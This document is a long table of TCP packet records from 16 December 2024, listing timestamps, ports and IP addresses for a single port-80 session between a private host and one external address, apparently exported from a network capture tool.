Dec 16, 2024 15:25:33.910357952 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.910561085 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.910605907 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.911196947 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.911257029 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.911300898 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.912036896 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.912398100 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.912503958 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.912520885 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.913213968 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.913260937 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.913383007 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.914064884 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.914138079 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.914215088 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.914871931 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.914980888 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.915035963 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.915829897 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.915848017 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.915875912 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.916587114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.916630030 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.916639090 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.917387962 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.917510033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.917556047 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.918315887 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.918329954 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.918395042 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.919117928 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.919203043 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.919219971 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.919886112 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.919935942 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.920137882 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.920850992 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.920902967 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.921307087 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.921571016 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.921587944 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.921612024 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.922631979 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.922657967 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.922681093 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.923269987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.923320055 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.923348904 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.924159050 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.924287081 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.924313068 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.924899101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.924982071 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.924985886 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.926109076 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.926121950 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.926163912 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.926692009 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.926703930 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.926748991 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.927483082 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.927495003 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.927537918 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.928262949 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.928391933 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.928443909 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.929095984 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.929137945 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.929153919 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.976528883 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.075059891 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.075074911 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.075120926 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.075259924 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.075464010 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.075515032 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.075602055 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.076369047 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.076409101 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.076462984 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.077161074 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.077200890 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.077253103 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.077965021 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.078010082 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.078066111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.078866005 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.078911066 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.078938007 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.079673052 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.079754114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.079798937 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.080446959 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.080498934 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.080568075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.081584930 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.081598997 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.081646919 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.082993031 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.083039045 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.083060980 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.083551884 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.083564043 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.083604097 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.084547043 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.084559917 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.084602118 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.084909916 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.084952116 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.084975958 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.085555077 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.085594893 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.085644007 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.086328983 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.086381912 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.086675882 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.087233067 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.087297916 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.087366104 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.087958097 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.088077068 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.088088989 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.088902950 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.088953972 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.088963985 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.089859962 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.089874983 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.089920044 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.090699911 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.090713024 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.090749025 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.091383934 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.091398954 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.091443062 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.092194080 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.092261076 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.092331886 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.093053102 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.093065023 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.093111992 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.093894958 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.093907118 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.093954086 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.094727039 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.094739914 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.094790936 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.095530987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.095542908 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.095590115 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.096509933 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.096522093 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.096544981 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.097408056 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.097419977 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.097445965 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.098071098 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.098119974 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.098474979 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.098956108 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.099126101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.099170923 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.099622965 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.099670887 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.099766970 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.100548029 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.100559950 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.100600004 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.101387978 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.101465940 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.101524115 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.102204084 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.102216005 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.102264881 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.103008032 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.103056908 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.103112936 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.104091883 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.104104042 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.104140043 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.104710102 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.104773045 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.105142117 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.105634928 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.105647087 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.105685949 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.106326103 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.106385946 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.106441975 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.107145071 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.107187986 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.107265949 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.108155966 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.108170033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.108246088 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.108958960 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.108972073 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.109004974 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.110016108 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.110027075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.110068083 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.110601902 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.110615015 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.110661983 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.111460924 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.111505032 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.111654043 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.112353086 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.112365961 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.112399101 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.113096952 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.113142014 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.113418102 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.113924026 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.113936901 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.113985062 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.114896059 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.114907980 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.114973068 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.115582943 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.115649939 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.115659952 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.116461992 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.116473913 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.116520882 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.117199898 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.117250919 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.117388964 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.118078947 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.118091106 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.118129969 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.231723070 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.250780106 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.351695061 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.351778984 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.351816893 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.352111101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.352124929 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.352168083 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.370877028 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.370971918 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.371082067 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.371288061 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.371382952 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.371541023 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.372131109 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.372302055 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.372349977 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.373006105 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.373184919 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.373225927 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.373783112 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.373908997 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.373958111 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.374722958 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.375037909 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.375510931 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.375560045 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.375571966 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.375612974 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.376346111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.376684904 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.377165079 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.377213955 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.377238989 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.377666950 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.378017902 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.378072023 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.378113985 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.378882885 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.378952026 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.378999949 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.379764080 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.379889011 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.379928112 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.380621910 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.380642891 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.380678892 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.381391048 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.381484985 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.381671906 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.382142067 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.382231951 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.382278919 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.382929087 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.383060932 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.383104086 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.383833885 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.383935928 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.383984089 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.384664059 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.384744883 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.384804964 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.385477066 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.385683060 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.386225939 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.386301041 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.386359930 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.386406898 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.387134075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.387289047 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.387454033 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.388036013 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.388094902 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.388207912 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.388827085 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.388963938 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.389009953 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.389770985 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.389847040 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.389919043 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.390513897 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.390748024 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.390791893 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.390875101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.391520977 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.391654015 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.391712904 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.392343044 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.392396927 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.392431021 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.393232107 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.393292904 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.393452883 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.394155025 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.394167900 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.394212008 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.394879103 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.394927979 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.394932985 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.395710945 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.395791054 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.395828962 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.396600008 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.396640062 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.396662951 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.397376060 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.397425890 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.397552967 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.398164034 CET	80	49742	185.215.113.16	192.168.2.5
